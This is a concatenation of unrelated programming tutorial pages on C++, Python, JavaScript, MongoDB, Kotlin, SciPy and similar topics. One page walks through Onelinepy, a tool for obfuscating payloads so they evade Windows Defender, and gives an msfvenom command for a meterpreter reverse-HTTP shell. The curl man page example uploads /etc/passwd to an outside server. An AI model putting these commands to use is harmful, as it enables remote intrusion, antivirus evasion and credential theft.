code-rag-bench/online-tutorials huggingface dataset:
C++ Program to Access Elements of an Array Using Pointer

Pointers store the memory location or address of variables. In other words, pointers reference a memory location and obtaining the value stored at that memory location is known as dereferencing the pointer.
A program that uses pointers to access a single element of an array is given as follows −
 Live Demo
#include <iostream>
using namespace std;
int main() {
   int arr[5] = {5, 2, 9, 4, 1};
   int *ptr = &arr[2];
   cout<<"The value in the second index of the array is: "<< *ptr;
   return 0;
}
The value in the second index of the array is: 9
In the above program, the pointer ptr stores the address of the element at the third index in the array i.e 9.
This is shown in the following code snippet.
int *ptr = &arr[2];
The pointer is dereferenced and the value 9 is displayed by using the indirection (*) operator. This is demonstrated as follows.
cout<<"The value in the second index of the array is: "<< *ptr;
Another program in which a single pointer is used to access all the elements of the array is given as follows.
 Live Demo
#include <iostream>
using namespace std;
int main() {
   int arr[5] = {1, 2, 3, 4, 5};
   int *ptr = &arr[0];
   cout<<"The values in the array are: ";
   for(int i = 0; i < 5; i++) {
      cout<< *ptr <<" ";
      ptr++;
   }
   return 0;
}
The values in the array are: 1 2 3 4 5
In the above program, the pointer ptr stores the address of the first element of the array. This is done as follows.
int *ptr = &arr[0];
After this, a for loop is used to dereference the pointer and print all the elements in the array. The pointer is incremented in each iteration of the loop i.e at each loop iteration, the pointer points to the next element of the array. Then that array value is printed. This can be seen in the following code snippet.
for(int i = 0; i < 5; i++) {
   cout<< *ptr <<" ";
   ptr++;
}
Explain try, except and finally statements in Python.

In exception handling in Python, we use the try and except statements to catch and handle exceptions. The code within the try clause is executed statement by statement.
If an exception occurs, the rest of the try block is skipped and the except clause is executed.
try:
'apple' + 6
except Exception:
print "Cannot concatenate 'str' and 'int' objects"
Cannot concatenate 'str' and 'int' objects
We avoid the traceback error message elegantly with a simple message like above by using try except statements for exception handling.
In addition to using an except block after the try block, we can also use the finally block. The finally clause is optional. It is intended to define clean-up actions that must be executed under all circumstances
A finally clause is always executed before leaving the try statement, whether an exception has occurred or not.
Actions, like closing a file, GUI or disconnecting from the network, are performed in the finally clause to guarantee execution.
Here is an example of file operations to illustrate finally statement.
try:
f = open("foo.txt",encoding = 'utf-8')
# perform file operations
finally:
f.close()
This type of statement makes sure that the file is closed whether an exception occurs or not.
Explain try and catch statements in JavaScript with examples.

The try statement allows us execute a block of code and test for errors. Those errors are then caught and handle by the catch statement.
Following is the code for try and catch statement in JavaScript −
 Live Demo
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8" />
<meta name="viewport" content="width=device-width, initial-scale=1.0" />
<title>Document</title>
<style>
   body {
      font-family: "Segoe UI", Tahoma, Geneva, Verdana, sans-serif;
   }
   .result {
      font-size: 20px;
      font-weight: 500;
   }
</style>
</head>
<body>
<h1>Try and catch in JavaScript</h1>
<div style="color: green;" class="result"></div>
<button class="Btn">CLICK HERE</button>
<h3>
Click on the above button to call a variable before it is defined
</h3>
<script>
   let resEle = document.querySelector(".result");
   document.querySelector(".Btn").addEventListener("click", () => {
      try {
         resEle.innerHTML = a;
      }
      catch (err) {
         resEle.innerHTML = "Error = " + err;
      }
      let a = 44;
   });
</script>
</body>
</html>
The above code will produce the following output −
On clicking the ‘CLICK HERE’ button −
HTML - Summary Tag

The HTML <summary> tag specifies a summary, caption or legend for a given details.
<!DOCTYPE html>
<html>

   <head>
      <title>HTML Summary Tag</title>
   </head>

   <body>
      <details>
         <summary>Some details</summary>
         <p>Provide more info about the details here.</p>
      </details>
   </body>

</html>
This will produce the following result −
Provide more info about the details here.
This tag supports all the global attributes described in − HTML Attribute Reference
This tag supports all the event attributes described in − HTML Events Reference

    19 Lectures 
     2 hours 

 Anadi Sharma

    16 Lectures 
     1.5 hours 

 Anadi Sharma

    18 Lectures 
     1.5 hours 

 Frahaan Hussain

    57 Lectures 
     5.5 hours 

 DigiFisk (Programming Is Fun)

    54 Lectures 
     6 hours 

 DigiFisk (Programming Is Fun)

    45 Lectures 
     5.5 hours 

 DigiFisk (Programming Is Fun)
 Print
 Add Notes
 Bookmark this page
Tryit Editor v3.6 - Show React

import { useState } from "react";
import ReactDOM from "react-dom/client";

function MyForm() {
  const [inputs, setInputs] = useState({});

  const handleChange = (event) => {
    const name = event.target.name;
    const value = event.target.value;
    setInputs(values => ({...values, [name]: value}))
  }

  const handleSubmit = (event) => {
    event.preventDefault();
    console.log(inputs);
  }

  return (
    <form onSubmit={handleSubmit}>
      <label>Enter your name:
      <input 
        type="text" 
        name="username" 
        value={inputs.username || ""} 
        onChange={handleChange}
      />
      </label>
      <label>Enter your age:
        <input 
          type="number" 
          name="age" 
          value={inputs.age || ""} 
          onChange={handleChange}
        />
        </label>
        <input type="submit" />
    </form>
  )
}

const root = ReactDOM.createRoot(document.getElementById('root'));
root.render(<MyForm />);

/*
Click F12 and navigate to the "Console view"
to see the result when you submit the form.
*/




<!DOCTYPE html>
<html lang="en">
  <head>
    <meta charset="utf-8" />
    <meta name="viewport"
      content="width=device-width, initial-scale=1" />
Find Strings greater than a particular length in MongoDB?

To find the string which has a length greater than a particular value in MongoDB, use the $where operator. The syntax is as follows −
db.yourCollectionName.find({$where:'this.yourStringFieldName.length >
yourIntegerValue'}).pretty();
To understand the above concept, let us create a collection with the document. The query to create a collection with a document is as follows −
> db.stringFieldLengthDemo.insertOne({"UserId":1,"UserName":"Adam Smith"});
{
   "acknowledged" : true,
   "insertedId" : ObjectId("5c77bb4b2386c62d05142a78")
}
> db.stringFieldLengthDemo.insertOne({"UserId":2,"UserName":"Carol Taylor"});
{
   "acknowledged" : true,
   "insertedId" : ObjectId("5c77bb562386c62d05142a79")
}
> db.stringFieldLengthDemo.insertOne({"UserId":3,"UserName":"James Brown"});
{
   "acknowledged" : true,
   "insertedId" : ObjectId("5c77bb5b2386c62d05142a7a")
}
> db.stringFieldLengthDemo.insertOne({"UserId":4,"UserName":"John Smith"});
{
   "acknowledged" : true,
   "insertedId" : ObjectId("5c77bb662386c62d05142a7b")
}
> db.stringFieldLengthDemo.insertOne({"UserId":5,"UserName":"David Miller"});
{
   "acknowledged" : true,
   "insertedId" : ObjectId("5c77bb892386c62d05142a7c")
}
> db.stringFieldLengthDemo.insertOne({"UserId":6,"UserName":"John Williams"});
{
   "acknowledged" : true,
   "insertedId" : ObjectId("5c77bbb02386c62d05142a7d")
}
> db.stringFieldLengthDemo.insertOne({"UserId":7,"UserName":"Chris Evans"});
{
   "acknowledged" : true,
   "insertedId" : ObjectId("5c77bbd32386c62d05142a7e")
}
Display all documents from a collection with the help of find() method. The query is as follows −
> db.stringFieldLengthDemo.find().pretty();
The following is the output −
{
   "_id" : ObjectId("5c77bb4b2386c62d05142a78"),
   "UserId" : 1,
   "UserName" : "Adam Smith"
}
{
   "_id" : ObjectId("5c77bb562386c62d05142a79"),
   "UserId" : 2,
   "UserName" : "Carol Taylor"
}
{
   "_id" : ObjectId("5c77bb5b2386c62d05142a7a"),
   "UserId" : 3,
   "UserName" : "James Brown"
}
{
   "_id" : ObjectId("5c77bb662386c62d05142a7b"),
   "UserId" : 4,
   "UserName" : "John Smith"
}
{
   "_id" : ObjectId("5c77bb892386c62d05142a7c"),
   "UserId" : 5,
   "UserName" : "David Miller"
}
{
   "_id" : ObjectId("5c77bbb02386c62d05142a7d"),
   "UserId" : 6,
   "UserName" : "John Williams"
}
{
   "_id" : ObjectId("5c77bbd32386c62d05142a7e"),
   "UserId" : 7,
   "UserName" : "Chris Evans"
}
Here is the query to find the string which has a length greater than let‟s say 11 in MongoDB −
> db.stringFieldLengthDemo.find({$where:'this.UserName.length >11'}).pretty();
The following is the output −
{
   "_id" : ObjectId("5c77bb562386c62d05142a79"),
   "UserId" : 2,
   "UserName" : "Carol Taylor"
}
{
   "_id" : ObjectId("5c77bb892386c62d05142a7c"),
   "UserId" : 5,
   "UserName" : "David Miller"
}
{
   "_id" : ObjectId("5c77bbb02386c62d05142a7d"),
   "UserId" : 6,
   "UserName" : "John Williams"
}
Kotlin - Keywords

Kotlin keywords are predefined, reserved words used in Kotlin programming that have special meanings to the compiler. These words cannot be used as an identifier (variables names, package names, function names etc.) and if used then compiler will raise an exception.
Kotlin uses fun keyword to define a function, so if we we will try to use it as a variable name then it will be an exception. For example:
fun main() {
   var fun = "Zara Ali"  // Not allowed, throws an exception
   var age = 19          // Valid variable name

   println("Name = $fun")
   println("Age = $age")
}

When you run the above Kotlin program, it will generate the following output:
main.kt:2:7: error: expecting property name or receiver type
   var fun = "Zara Ali"  // Not allowed, throws an exception
      ^
main.kt:2:11: error: expecting '('
   var fun = "Zara Ali"  // Not allowed, throws an exception
          ^
main.kt:5:21: error: keyword cannot be used as a reference
   println("Name = $fun")
                    ^

Kotlin keywords have been categorised into three broad categories: (a) Hard Keywords (b) Soft Keywords (c) Modifier Keywords
As a good programming practice, it is highly recommended not to use any of the mentioned keywords to name any identifiers while coding in Kotlin.
Following is a list of hard keywords and they cannot be used as identifiers:
Following is the list of keywords (soft) in the context when they are applicable and can be used as identifiers in other contexts:
Following is the list of tokens which act as keywords in modifier lists of declarations and can be used as identifiers in other contexts:
Q 1 - Which of the following is a hard keyword in Kotlin:
A - var
B - val
C - for
D - All of the above
All the mentioned keywords are from a list of hard keywords in Kotlin.
Q 2 - Identify which line of the following program will raise an error:
   var name = "Zara Ali"
   var age = 19
   var class = "6th"
   var height = 5.3

A - First Line
B - Second Line
C - Third Line
D - Last Line
Here 3rd line will raise an error because we have used hard keyword class to define a variable.
Q 3 - Which statment is incorrect in Kotlin
A - We can use Kotlin hard keywords to define any identifier
B - Kotlin allows using soft keywords as identifiers based on the context.
C - It is a good practice not to use any type of keywords while naming an identifier.
D - All of the above statements are incorrect
As per given rules, Kotlin hard keywords can not be used to name an identifier.

    68 Lectures 
     4.5 hours 

 Arnab Chakraborty

    71 Lectures 
     5.5 hours 

 Frahaan Hussain

    18 Lectures 
     1.5 hours 

 Mahmoud Ramadan

    49 Lectures 
     6 hours 

 Catalin Stefan

    49 Lectures 
     2.5 hours 

 Skillbakerystudios

    22 Lectures 
     1 hours 

 CLEMENT OCHIENG
 Print
 Add Notes
 Bookmark this page
Onelinepy - Python Obfuscator To Generate One-Liners And FUD Payloads - GeeksforGeeks

18 Jul, 2021
Onelinepy is a free and open-source tool available on GitHub.  Onelinepy is used to Generate One-Liners And FUD Payloads. Devploit is used to generate FUD Payloads in websites and webapps. This tool can be used to get information about our target(domain). We can target any domain using Onelinepy. The interactive console provides a number of helpful features, such as command completion and contextual help. This tool is written in python language. You must have python language installed in your Kali Linux to use this tool.  Python Obfuscator To Generate One-Liners And FUD Payloads. The Obfuscated Payload works against Windows Defender.  FUD meterpreter python payload can generate python payload.
Step 1: Use the following command to install the tool from Github.
git clone https://github.com/spicesouls/onelinepy
cd onelinepy
Step 2: Now you have to give the permission of the execution to the tool.
chmod +x setup.sh
./setup.sh
Step 3: Now run the tool using the following command.
onelinepy
Now the tool is running successfully Now we will example to run the tool.
Example 1: Use the onelinepy run the tool to create FUD Meterpreter Python Payload.
onelinepy -m /one_line/base64 –script payload.txt -i 3 –output obfustucated_payload.txt
This Obfuscated Payload works against Windows 10 Defender.
Example 2: Use the onelinepy run the tool to create FUD Meterpreter Python Payload.
msfvenom –payload python/meterpreter_reverse_http LHOST=... LPORT=... > payload.txt
This meterpreter_reverse_http payload is created for LHOST AND LPORT using msfvenom. Python Obfuscator To Generate One-Liners And FUD Payloads. The Obfuscated Payload works against Windows Defender.  FUD meterpreter python payload can generate python payload.
Linux-Tools
Linux-Unix
Writing code in comment?
Please use ide.geeksforgeeks.org,
generate link and share the link here.
Comments
Old Comments
Thread functions in C/C++
Basic Operators in Shell Scripting
nohup Command in Linux with Examples
Array Basics in Shell Scripting | Set 1
Named Pipe or FIFO with example C program
chown command in Linux with Examples
mv command in Linux with examples
Docker - COPY Instruction
Start/Stop/Restart Services Using Systemctl in Linux
SED command in Linux | Set 2
SAP ABAP - Deleting Internal Tables

The DELETE statement is used to delete one or more records from an internal table. The records of an internal table are deleted either by specifying a table key or condition or by finding duplicate entries. If an internal table has a non-unique key and contains duplicate entries, the first entry from the table is deleted.
Following is the syntax to use the DELETE statement to delete a record or line from an internal table −
DELETE TABLE <internal_table> FROM <work_area_itab>.

In the above syntax, the <work_area_itab> expression is a work area and it should be compatible with the type of the <internal_table> internal table. The delete operation is performed on the basis of a default key that could be taken from the work area components.
You may also specify a table key explicitly in the DELETE TABLE statement by using the following syntax −
DELETE TABLE <internal_table> WITH TABLE KEY <K1> = <F1>............ <Kn> = <Fn>.

In this syntax, <F1>, <F2>....<Fn> are the fields of an internal table and <K1>, <K2>....<Kn> are the key fields of the table. The DELETE statement is used to delete the records or lines of the <internal_table> table based on the expressions <K1> = <F1>, <K2> = <F2>...<Kn> = <Fn>.
Note − If the data types of the <F1>, <F2>....<Fn> fields are not compatible with the <K1>, <K2>...<Kn> key fields then the SAP system automatically converts them into the compatible format.
REPORT  ZDELETE_DEMO. 
DATA: BEGIN OF Line1, 
ColP TYPE I, 
ColQ TYPE I, 
END OF Line1. 
DATA mytable LIKE HASHED TABLE OF Line1  
WITH UNIQUE KEY ColP. 
DO 8 TIMES. 

Line1-ColP = SY-INDEX. 
Line1-ColQ = SY-INDEX + 4. 
INSERT Line1 INTO TABLE mytable. 
ENDDO. 

Line1-ColP = 1. 
DELETE TABLE mytable: FROM Line1, 
WITH TABLE KEY ColP = 3.
LOOP AT mytable INTO Line1. 

WRITE: / Line1-ColP, Line1-ColQ. 
ENDLOOP.
The above code produces the following output −
2         6 
4         8 
5         9 
6         10 
7         11 
8         12

In this example, mytable has two fields, ColP and ColQ. Initially, mytable is populated with eight lines, where the ColP contains the values 1, 2, 3, 4, 5, 6, 7 and 8. The ColQ contains the values 5, 6, 7, 8, 9, 10, 11 and 12 because the ColP values are incremented by 4 every time.
The DELETE statement is used to delete the lines from mytable where the value of the ColP key field is either 1 or 3. After deletion, the ColP field of mytable contains the values 2, 4, 5, 6, 7 and 8, as shown in the output. The ColQ field contains the values 6, 8, 9, 10, 11 and 12.

    25 Lectures 
     6 hours 

 Sanjo Thomas

    26 Lectures 
     2 hours 

 Neha Gupta

    30 Lectures 
     2.5 hours 

 Sumit Agarwal

    30 Lectures 
     4 hours 

 Sumit Agarwal

    14 Lectures 
     1.5 hours 

 Neha Malik

    13 Lectures 
     1.5 hours 

 Neha Malik
 Print
 Add Notes
 Bookmark this page
Find out the GCD of two numbers using while loop in C language

Generate the greatest common divisor for any two numbers using C programming language.
Let the user enter any two numbers from the console. For those two numbers, let’s find the greatest common divisor.
The GCD of two numbers is the largest number that exactly divides both of them without a remainder.
The logic we use to find the GCD of two numbers is as follows −
while(b!=0) //check for b=0 condition because in a/b ,b should not equal to zero
   {
      rem=a % b;
      a=b;
      b=rem;
   }
Print a
 Live Demo
#include<stdio.h>
int main(){
   int a,b,rem;
   printf("enter any two numbers:");
   scanf("%d%d",&a,&b);
   while(b!=0) //check for b=0 condition because in a/b ,b should not equal to zero{
      rem=a % b;
      a=b;
      b=rem;
   }
   printf("GCD of two numbers is:%d\n",a);
   return 0;
}
enter any two numbers:8 12
GCD of two numbers is:4

Check: 8= 2 * 2 *2
      12= 2 * 2 * 3

The Greatest common divisor of two numbers is : 2 * 2 =4
In this example, let us find the GCD of two numbers using for loop −
 Live Demo
#include <stdio.h>
int main(){
   int num1, num2, i, GCD;
   printf("enter two numbers: ");
   scanf("%d %d", &num1, &num2);
   for(i=1; i <= num1 && i <= num2; ++i){
      if(num1%i==0 && num2%i==0)
         GCD = i;
   }
   printf("GCD of two numbers is:%d", GCD);
   return 0;
}
enter two numbers: 24 48
GCD of two numbers is:24
Block of PL/SQL in Oracle DBMS

PL/SQL is a block structured language i.e the code of PL./SQL is written in the form of blocks. PL/SQL also contains the robustness, security and portability of the Oracle database.
Each block of PL/SQL contains the following subparts −
Declarations -  This section contains all the items that needs to be declared before the program such as variables, subprograms etc. This section contains the keyword DECLARE at its start. In general, Declarations is an optional subpart of the PL/SQL program.
Executable Commands -  This section of the PL/SQL code contains the executable statements. It contains BEGIN and END at its starting and ending. Executable commands is a compulsory section and it cannot be left blank. In case there are no executable statements, NULL is written to signify this.
Exception Handling -  This section contains the code to handle all the errors or exceptions that may arise during the course of the program.Exception handling section starts with the keyword EXCEPTION.
The basic structure of a PL/SQL block is
DECLARE
< Declarations section >
BEGIN
< Executable commands section >
EXCEPTION
< Exception handling section >
END;
An example of a PL/SQL code is −
SET SERVEROUTPUT ON
BEGIN
DBMS_OUTPUT. PUT_LINE
FOR j IN 1..10 LOOP
DBMS_OUTPUT.PUT_LINE(‘Number”|| j );
END LOOP;
END;
This program displays the first ten natural numbers in order.
How to change border-color of a canvas text using Fabric.js ? - GeeksforGeeks

11 Feb, 2022
In this article, we are going to see how to change the border-color of a canvas-like text using FabricJS. The canvas means text written is movable and can be stretched according to requirement. Further, the text itself cannot be edited like a textbox.Approach: To make it possible we are going to use a JavaScript library called FabricJS. After importing the library using CDN, we will create a canvas block in the body tag which will contain our text. After this, we will initialize instances of Canvas and Text provided by FabricJS and use the borderColor property to add color to the text borders and render the Canvas on the Text as given in the example below. Further, remember that you have to click on the text to see the border of the text.Syntax:  
 fabric.Text(text, borderColor: String); 
Parameters: This function accepts two parameters as mentioned above and described below:  
text: It specifies the text to be written.
borderColor: It specifies the color of the border.
Program: This example uses FabricJS to change border-color of canvas-like text. 
html
<!DOCTYPE html><html> <head>    <title>        change border-color of a canvas-type text    </title>     <!-- Loading the FabricJS library -->    <script src="https://cdnjs.cloudflare.com/ajax/libs/fabric.js/3.6.2/fabric.min.js">    </script></head> <body>    <canvas id="canvas" width="600" height="200"            style="border:1px solid #000000;">    </canvas>     <script>         // Create a new instance of Canvas        var canvas = new fabric.Canvas("canvas");         // Create a new Textbox instance        var text = new fabric.Text('GeeksforGeeks', {            borderColor: 'red',        });         // Render the Textbox on Canvas        canvas.add(text);    </script></body> </html>
Output:  
 
anikakapoor
simranarora5sos
Fabric.js
JavaScript-Misc
JavaScript
Web Technologies
Writing code in comment?
Please use ide.geeksforgeeks.org,
generate link and share the link here.
Convert a string to an integer in JavaScript
Difference between var, let and const keywords in JavaScript
Differences between Functional Components and Class Components in React
How to Open URL in New Tab using JavaScript ?
Difference Between PUT and PATCH Request
Roadmap to Become a Web Developer in 2022
How to fetch data from an API in ReactJS ?
Top 10 Projects For Beginners To Practice HTML and CSS Skills
Convert a string to an integer in JavaScript
How to insert spaces/tabs in text using HTML/CSS?
curl - Unix, Linux Command

curl - Transfers data from or to a server, using one of the protocols: HTTP, HTTPS, FTP, FTPS, SCP, SFTP, TFTP, DICT, TELNET, LDAP or FILE. (To transfer multiple files use wget or FTP.)
curl [options] [URL...]
Curl transfers data from or to a server, using one of the protocols: HTTP, HTTPS, FTP, FTPS, SCP, SFTP, TFTP, DICT, TELNET, LDAP or FILE. (To transfer multiple files use wget or FTP.).
http://site.{one,two,three}.com 
or get sequences of alphanumeric series by using [] as in:
ftp://ftp.numericals.com/file[1-100].txt
ftp://ftp.numericals.com/file[001-100].txt (with leading zeros)
ftp://ftp.letters.com/file[a-z].txt
curl http://{one,two}.site.com -o "file_#1.txt"
or use several variables like:
curl http://{site,host}.host[1-5].com -o "#1_#2"
You may use this option as many times as the number of URLs you have. See also --create-dirs option to create the local directories dynamically. Specify '-' to force the output to stdout.
curl -T "{file1,file2}" http://www.uploadtothissite.com
or even
curl -T "img[1-1000].png" ftp://ftp.picturemania.com/upload/
To send your password file to the server, where 'password' is the name of the form-field to which /etc/passwd will be the input:
$ curl -F password=@/etc/passwd www.mypasswords.com

To retrieve a web page and display in the terminal
$ curl http://www.tutorialspoint.com
To retrieve a web page and display header information
$ curl http://www.tutorialspoint.com -i
To retrieve a web page and save to a file.
$ curl http://www.tutorialspoint.com -0 tutorialspoint.html
To retrieve a web page, or its redirected target
$ curl www.tutorialspoint.com/unix/ 
$ curl www.tutorialspoint.com/unix/ --location
To limit the rate of data transfer to 1 Kilobytes/sec
$ curl http://www.tutorialspoint.com/unix/ --limit-rate 1k -o unix.html
To download via a proxy server
$ curl -x proxy.example.com:3128 http://www.tutorialspoint.com/unix/
Print a Spirograph using turtle in Python

11 Sep, 2021
Pre-requisites: Turtle Programming in Python
A spirograph is a very interesting geometrical figure which is often symmetrical to both the axes. It produces mathematical roulette curves of the variety technically known as hypotrochoids and epitrochoids. Here, we’ve used a range of colors to draw circles, you can use your combination as per your color choice.
Below is the implementation.
Python3
# Import the turtle library for# drawing the required curveimport turtle as tt # Set the background color as black,# pensize as 2 and speed of drawing# curve as 10(relative)tt.bgcolor('black')tt.pensize(2)tt.speed(10) # Iterate six times in totalfor i in range(6):         # Choose your color combination    for color in ('red', 'magenta', 'blue',                  'cyan', 'green', 'white',                  'yellow'):        tt.color(color)                 # Draw a circle of chosen size, 100 here        tt.circle(100)                 # Move 10 pixels left to draw another circle        tt.left(10)         # Hide the cursor(or turtle) which drew the circle    tt.hideturtle()
Output:  
 
gabaa406
Python-turtle
Python
Writing code in comment?
Please use ide.geeksforgeeks.org,
generate link and share the link here.
norm() function in C++ with Examples

10 Oct, 2018
The norm() function is defined in the complex header file. This function is used to return the squared magnitude of the complex number z.
Syntax:
template<class T> T norm (const complex<T>& z);

Parameter:
z: It represents the given complex number.
Return: It returns the squared magnitude of the complex number.
Below programs illustrate the above function:-
Example 1:-
// C++ program to demonstrate// example of norm() function.   #include <bits/stdc++.h>using namespace std;   // driver functionint main (){  // initializing the complex: (5.0+12.0i)  complex<double> complexnumber (5.0, 12.0);     // use of norm()function  cout << "The norm of " << complexnumber << " is ";  cout << norm(complexnumber) << endl;     return 0;}
The norm of (5,12) is 169

Example 2:-
// C++ program to demonstrate// example of norm() function.    #include <bits/stdc++.h>using namespace std;   // driver functionint main (){  // initializing the complex: (4.0+3.0i)  complex<double> complexnumber (4.0, 3.0);     // use of norm()function  cout << "The norm of " << complexnumber << " is ";  cout << norm(complexnumber) << endl;     return 0;}
The norm of (4,3) is 25

CPP-Library
cpp-numerics-library
C++
CPP
Writing code in comment?
Please use ide.geeksforgeeks.org,
generate link and share the link here.
Sorting a vector in C++
Polymorphism in C++
Friend class and function in C++
std::string class in C++
Pair in C++ Standard Template Library (STL)
Queue in C++ Standard Template Library (STL)
Unordered Sets in C++ Standard Template Library
List in C++ Standard Template Library (STL)
std::find in C++
Inline Functions in C++
HTML DOM createRange() Method

29 Jul, 2020
The createRange() method creates a new Range object for the document.
Syntax:
range = document.createRange();
Parameters: This method does not accept any parameters.
Return Value: This method returns the created Range.
Example: In this example, we will create a range using this method, a range should not be empty, so we will make starting and ending points in the range using setEnd() and setStart() method.
HTML
<!DOCTYPE html><html>  <body>    <h1>GeeksforGeeks</h1>    <p id="parent">        Child 1<br>        Child 2<br>    </p>      <script>        const example = document.getElementById('parent');        const range = document.createRange();        range.setStart(example, 0);        range.setEnd(example, 3);        console.log(range);        console.log(range.toString());    </script></body>  </html>
Output: In console, created range can be seen.
Supported Browsers:
Google Chrome
Edge
Firefox
Safari
Opera
HTML-DOM
HTML
JavaScript
Web Technologies
HTML
Writing code in comment?
Please use ide.geeksforgeeks.org,
generate link and share the link here.
REST API (Introduction)
Design a Tribute Page using HTML & CSS
Build a Survey Form using HTML and CSS
Angular File Upload
Form validation using jQuery
Difference between var, let and const keywords in JavaScript
Differences between Functional Components and Class Components in React
Remove elements from a JavaScript Array
Difference Between PUT and PATCH Request
How to append HTML code to a div using JavaScript ?
How to trigger the same function with jQuery multiple events?

To trigger the same function with multiple events, use the jQuery on() method with multiple events such as click, dblclick, mouse enter, mouse leave, hover, etc.
You can try to run the following code to learn how to work the same function with jQuery multiple events:
Live Demo
<!DOCTYPE html>
<html>
<head>
<script src="https://ajax.googleapis.com/ajax/libs/jquery/3.2.1/jquery.min.js"></script>
<script>
$(document).ready(function(){
    $("p").on({
   
        mouseenter: function(){
            $(this).css("background-color", "gray");
        },  
       
        mouseleave: function(){
            $(this).css("background-color", "red");
        },
       
        dblclick: function(){
            $(this).css("background-color", "yellow");
        }
       
    });
});
</script>
</head>
<body>

<p>Click, double click and move the mouse pointer.</p>

</body>
</html>
How to create a blink text using JavaScript?

To create a blinking text, use the JavaScript blink() method. This method causes a string to blink as if it were in a BLINK tag.
Note − HTML <blink> tag deprecated and is not expected to work in every browser.
You can try to run the following code to create a blinking text with the JavaScript blink() method −
Live Demo
<html>
   <head>
      <title>JavaScript String blink() Method</title>
   </head>

   <body>
      <script>
         var str = new String("Demo Text");
         document.write(str.blink());
         document.write("<br><br> Note: HTML <blink> tag deprecated and is not expected to work in every browser.")
      </script>
   </body>
</html>
scipy.stats.chi2() | Python - GeeksforGeeks

20 Mar, 2019
scipy.stats.chi2() is an chi square continuous random variable that is defined with a standard format and some shape parameters to complete its specification.
Parameters :q : lower and upper tail probabilityx : quantilesloc : [optional]location parameter. Default = 0scale : [optional]scale parameter. Default = 1size : [tuple of ints, optional] shape or random variates.moments : [optional] composed of letters [‘mvsk’]; ‘m’ = mean, ‘v’ = variance, ‘s’ = Fisher’s skew and ‘k’ = Fisher’s kurtosis. (default = ‘mv’).
Results : chi squared continuous random variable
Code #1 : Creating chi squared continuous random variable
# importing scipyfrom scipy.stats import chi2  numargs = chi2.numargs[a] = [0.6, ] * numargsrv = chi2(a)  print ("RV : \n", rv) 
Output :
RV : 
 <scipy.stats._distn_infrastructure.rv_frozen object at 0x0000029485196DD8>

Code #2 : chi2 random variates and probability distribution function.
import numpy as npquantile = np.arange (0.01, 1, 0.1)   # Random VariatesR = chi2.rvs(a, scale = 2,  size = 10)print ("Random Variates : \n", R)  # PDFR = chi2.pdf(a, quantile, loc = 0, scale = 1)print ("\nProbability Distribution : \n", R)
Output :
Random Variates : 
 [6.20115012e-01 4.82717678e-01 1.43760444e-02 1.19755537e+00
 3.00093606e-05 6.11268950e-01 5.99940774e-01 3.20509994e-01
 1.94220599e-01 6.63225404e-01]

Probability Distribution : 
 [0.00615404 0.06544849 0.12034254 0.1704933  0.21568622 0.25581903
 0.29088625 0.32096438 0.34619796 0.36678666]
 
Code #3 : Graphical Representation.
import numpy as npimport matplotlib.pyplot as plt  distribution = np.linspace(0, np.minimum(rv.dist.b, 5))print("Distribution : \n", distribution)  plot = plt.plot(distribution, rv.pdf(distribution))
Output :
Distribution : 
 [0.         0.10204082 0.20408163 0.30612245 0.40816327 0.51020408
 0.6122449  0.71428571 0.81632653 0.91836735 1.02040816 1.12244898
 1.2244898  1.32653061 1.42857143 1.53061224 1.63265306 1.73469388
 1.83673469 1.93877551 2.04081633 2.14285714 2.24489796 2.34693878
 2.44897959 2.55102041 2.65306122 2.75510204 2.85714286 2.95918367
 3.06122449 3.16326531 3.26530612 3.36734694 3.46938776 3.57142857
 3.67346939 3.7755102  3.87755102 3.97959184 4.08163265 4.18367347
 4.28571429 4.3877551  4.48979592 4.59183673 4.69387755 4.79591837
 4.89795918 5.        ]
Code #4 : Varying Positional Arguments
import matplotlib.pyplot as pltimport numpy as np  x = np.linspace(0, 5, 100)  # Varying positional argumentsy1 = chi2.pdf(x, 1, 6)y2 = chi2.pdf(x, 1, 4)plt.plot(x, y1, "*", x, y2, "r--")
Output :
Python scipy-stats-functions
Python-scipy
Python
Writing code in comment?
Please use ide.geeksforgeeks.org,
generate link and share the link here.
Python Dictionary
Read a file line by line in Python
Enumerate() in Python
How to Install PIP on Windows ?
Different ways to create Pandas Dataframe
Python String | replace()
Create a Pandas DataFrame from Lists
Reading and Writing to text files in Python
*args and **kwargs in Python
sum() function in Python
TypeScript - Array indexOf()

indexOf() method returns the first index at which a given element can be found in the array, or -1 if it is not present.
array.indexOf(searchElement[, fromIndex]);

searchElement − Element to locate in the array.
searchElement − Element to locate in the array.
fromIndex − The index at which to begin the search. Defaults to 0, i.e. the whole array will be searched. If the index is greater than or equal to the length of the array, -1 is returned.
fromIndex − The index at which to begin the search. Defaults to 0, i.e. the whole array will be searched. If the index is greater than or equal to the length of the array, -1 is returned.
Returns the index of the found element.
var index = [12, 5, 8, 130, 44].indexOf(8); 
console.log("index is : " + index );

On compiling, it will generate the same code in JavaScript.
Its output is as follows −
index is : 2


    45 Lectures 
     4 hours 

 Antonio Papa

    41 Lectures 
     7 hours 

 Haider Malik

    60 Lectures 
     2.5 hours 

 Skillbakerystudios

    77 Lectures 
     8 hours 

 Sean Bradley

    77 Lectures 
     3.5 hours 

 TELCOMA Global

    19 Lectures 
     3 hours 

 Christopher Frewin
 Print
 Add Notes
 Bookmark this page
How to access Pandas Series elements by using indexing?

The data present in the pandas Series object has indexing labels, those index labels are used to access or retrieve elements. Each index value addresses an element in series.
Indexes are basically represented in two types: positional indexing and labeled indexing. Positional indexing is nothing but integer values starting from 0 to n-1 (n number of elements present in series). Whereas labeled indexing is user-defined labels that can be anything like integers, objects, date times and etc.,
# importing required packages
import pandas as pd
import numpy as np

# creating pandas Series object
series = pd.Series(np.random.rand(10))
print(series)

print('\nAccessing elements by using index values')
# accessing elements by using index values
print(series[[2,7]])
The following example will create a positional indexed pandas Series object with 10 randomly generated values by using the NumPy.random model.
The series[[2,7]] will access the 2 and 7 addressed elements from our series object at a time. If you want to access one element then we can say it like this series[index_values].
0   0.517225
1   0.933815
2   0.183132
3   0.333059
4   0.993192
5   0.826969
6   0.761213
7   0.274025
8   0.129120
9   0.901257
dtype: float64

Accessing elements by using index values
2   0.183132
7   0.274025
dtype: float64
0.183132 and 0.274025 are the values for the positional index of 2,7 from our series object.
If we have labeled index data, and we want to access the series elements then we can specify those labeled index addresses to retrieve elements.
# importing required packages
import pandas as pd
import numpy as np

# creating pandas Series object
series = pd.Series({'black':'white', 'body':'soul', 'bread':'butter', 'first':'last'})
print(series)

print('\nAccessing elements by using index labels')
# accessing elements by using index values
print(series['black'])
